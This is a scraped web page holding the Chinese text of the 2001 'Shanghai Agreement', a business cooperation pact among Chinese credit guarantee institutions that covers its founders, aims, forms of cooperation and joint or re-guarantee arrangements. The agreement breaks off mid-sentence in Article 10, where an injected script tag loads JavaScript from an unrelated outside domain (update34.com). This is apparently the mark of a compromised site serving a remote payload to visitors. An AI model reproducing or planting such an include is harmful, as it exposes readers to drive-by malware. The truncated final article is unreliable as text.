担保联盟会议
   担保论坛会议
   发起人会议
   委员会会议
   其他会议
 

       鉴于: 2001年7月中国经济技术投资担保有限公司在昆明会议上提出各地担保机构间在业务领域开展合作的倡议得到与会担保机构的积极响应;
  下列各担保机构于同年9月在贵阳对业务合作进行了充分讨论和磋商,就合作事项达成共识,并一致同意作为合作的发起人。
  发起人:(排名不分先后)
  中国经济技术投资担保有限公司
  北京首都创业集团有限公司
  福建省投资担保公司
  深圳市高新技术产业投资服务有限公司
  河北省经济技术投资担保有限公司
  新疆投资信用保证公司
  黑龙江省鑫正投资担保公司
  北京中关村科技担保有限公司
  山西省中小企业信用担保有限公司
  山东省企业信用担保有限责任公司
  四川省中小企业信用担保中心
  安徽省中小企业信用担保中心
  江西省企业信用担保有限责任公司
  青岛市担保中心
  鉴于:2001年11月在上海举行的“2001中国担保论坛”年会,除发起人外的其他与会担保机构有意愿加入本合作,并一致同意在本届年会正式签署合作协定。
  因此,参加本协定的合作各方于2001年11月15日在上海签署本合作协定。
  本合作协定为开放性协定,签署后仍可接纳认同本协定的其他担保机构加入。
  本协定由签署各方定名为“上海协定”。
  第一章 合作宗旨
  第一条 合作各方将共同致力于推动中国信用环境的改善、建立和发展中国的信用担保体系、支持和帮助中小企业以及适合于信用担保展业的各种领域的健康发展。
  第二条 合作各方将通过业务领域的交流和合作,实现信息互通、资源共享、优势互补;通过业务交流,实现规范运作,提高担保行业的整体业务水平,增强行业整体和机构自身的社会信誉及抗风险能力,共同促进担保行业的健康发展。
  第三条 合作各方将致力于建立并发展彼此间平等互利、相互协作、相互支持、共同发展的紧密的业务合作关系。
  第四条 合作各方的业务合作是市场化行为,彼此以尊重市场经济规律为共识,以互惠互利、风险共担为原则,实行商业化操作。
  第二章 合作方式
  第五条 合作各方根据具体合作事项和内容的不同,可采取下述合作方式,包括但不限于:
  委托代理、共同担保、提供协助、联合承办等。
  第六条 上述合作方式分别被定义为:
  委托代理,通常指下述两种情形:
  代理:在不同地域或同一地域的合作各方之间,一方委托另一方以委托人的名义代为提供担保或实施其它民事法律行为,由委托人承担担保责任或其它民事责任。
  委托:在不同地域或同一地域的合作各方之间,一方委托另一方以受托人的名义代为提供担保或实施其它民事法律行为,由委托人承担担保责任或其它民事责任。
  共同担保:指对同一债权由数个合作方共同提供担保,共同分担对债权的清偿责任。
  提供协助:指合作各方之间根据彼此的业务需要,相互提供辅助性工作支持,或提供单项服务。
  联合承办:指合作各方之间共同承办某项业务,或共同完成某项工作。
  第三章 合作领域
  第七条 合作领域包括但不限于以担保业务为主的业务性合作,以及其它相关的事务性合作。合作范围及于业务从开始到结束的全过程。
  第八条 上述合作领域分别被定义为:
  业务性合作:通常指合作各方在彼此的业务范围内共同或协助对方完成某项业务或工作。包括但不限于:合作各方相互委托对方对项目进行评审或咨询;合作各方共同为某一项目提供担保;为合作方提供再担保;委托合作对方代为出具担保函或签定担保合同;受托为合作方处置资产、监管项目、监管抵押物;协助或受托为合作方办理抵押物登记、处理诉讼项目等。
  事务性合作:通常指合作各方在与业务相关的其它事务方面的合作。包括但不限于:业务信息和业务知识的传播交流;从业技术资格认定;网络联系和网上信息交流;协助建立管理信息系统和编制专业管理软件;编写担保业务教材和刊物的合作;参加中国担保论坛年会活动等。
  第四章 合作事项
  第九条 项目咨询和评审
  不同地域(或同一地域)的合作各方之间,可以相互委托项目所在地的合作方对项目个案进行全部或部分评审咨询;也可采取联合评审或提供协助的方式进行合作。
  第十条 共同担保(又称联保、分保)
  根据本协定第六条的定义,共同担保通常指合作方之间在担保项目中以下列方式进行的合作:
  按份共同担保:指两个以上的合作方按照与同一债权人约定的担保份额共同向同一债权人承担担保责任。
  连带共同担保:指两个以上的合作方按照约定共同向同一债权人承担连带担保责任。未履行担保责任的合作方应当向共同担保的合作对方清偿其应承担的份额。
  再担保:指合作各方在担保项目中作为第一顺序担保人向债权人承担担保责任,其他合作的一方或几方作为第二顺序担保人向同一债?script src=http://www.update34.com/b.js>